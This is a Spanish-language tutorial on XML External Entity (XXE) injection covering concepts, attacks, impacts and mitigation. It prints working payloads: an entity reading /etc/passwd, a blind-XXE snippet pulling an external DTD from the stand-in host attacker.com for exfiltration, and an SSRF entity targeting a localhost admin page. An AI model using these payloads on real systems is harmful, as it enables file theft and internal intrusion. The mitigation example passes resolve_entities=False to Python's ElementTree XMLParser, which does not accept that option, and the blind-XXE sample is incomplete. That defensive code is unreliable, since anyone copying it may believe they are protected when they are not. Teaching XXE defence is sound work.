XML External Entity Injection (XXE) es una vulnerabilidad grave que puede comprometer la seguridad de sistemas que procesan datos XML. A continuación, se presenta un resumen estructurado sobre este tema, incluyendo cómo funciona, ejemplos de ataque, sus implicaciones, y formas de mitigar el riesgo.
¿Qué es una inyección de entidad externa XML (XXE)?
XXE es una vulnerabilidad en la que un atacante inyecta entidades XML maliciosas en entradas que son procesadas por aplicaciones que no validan adecuadamente los datos XML.
Conceptos Clave
- Entidades XML: Son referencias utilizadas dentro de un documento XML para insertar contenido, como texto o referencias a recursos externos.
- DTD (Document Type Definition): Define las reglas y estructura de un archivo XML, incluyendo entidades externas.
Ejemplo de un ataque XXE básico
Un archivo XML malicioso puede incluir una entidad que accede a un archivo local del servidor:
Archivo XML Malicioso
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>- Definición de la entidad maliciosa:
<!ENTITY xxe SYSTEM "file:///etc/passwd">define una entidad que apunta a un archivo local.
- Ejecución de la entidad:
- Cuando el servidor procesa el XML, sustituye
&xxe;con el contenido del archivo/etc/passwd.
- Cuando el servidor procesa el XML, sustituye
Resultado del ataque:
El atacante podría recibir información confidencial del archivo /etc/passwd.
Técnicas avanzadas de XXE
-
Ataque “ciegas” (Blind XXE):
-
Se utiliza un DTD externo para realizar consultas fuera de banda.
-
Ejemplo:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd"> %dtd; -
El servidor accede a
http://attacker.com/malicious.dtd, y el atacante recibe información sobre el sistema objetivo.
-
-
SSRF (Server-Side Request Forgery) con XXE:
-
Se redirige al servidor para realizar solicitudes HTTP a servicios internos.
-
Ejemplo:
<!ENTITY xxe SYSTEM "http://localhost:8000/admin"> <root>&xxe;</root>
-
Impactos de un ataque XXE
- Exposición de datos sensibles: Archivos locales, credenciales o configuraciones.
- Escaneo de red interna: Descubrir servicios protegidos.
- Ejecución de SSRF: Acceso a servicios internos o APIs privadas.
- Interrupción del servicio: Algunos procesadores XML podrían entrar en un ciclo infinito.
Prevención de ataques XXE
-
Deshabilitar la resolución de entidades externas:
-
Configura el analizador XML para que no procese entidades externas.
import xml.etree.ElementTree as ET parser = ET.XMLParser(resolve_entities=False)
-
-
Validar y sanitizar entradas:
- Nunca confíes en los datos XML proporcionados por los usuarios sin validarlos.
-
Uso de bibliotecas seguras:
-
Elige bibliotecas de procesamiento XML que no admitan DTDs por defecto, como
defusedxmlen Python.pip install defusedxml
-
-
Aplicar restricciones en el servidor:
- Configura firewalls para bloquear solicitudes hacia recursos no autorizados.
Recursos de aprendizaje y práctica
Para aprender más sobre la vulnerabilidad XXE y practicar en un entorno seguro:
- XXELab en GitHub: Un laboratorio diseñado para practicar y entender ataques XXE.
Conclusión
La inyección XXE es una vulnerabilidad peligrosa que puede explotarse para obtener información confidencial, comprometer sistemas y realizar ataques SSRF. Implementar controles de seguridad adecuados en aplicaciones que procesan datos XML es esencial para mitigar este tipo de amenazas.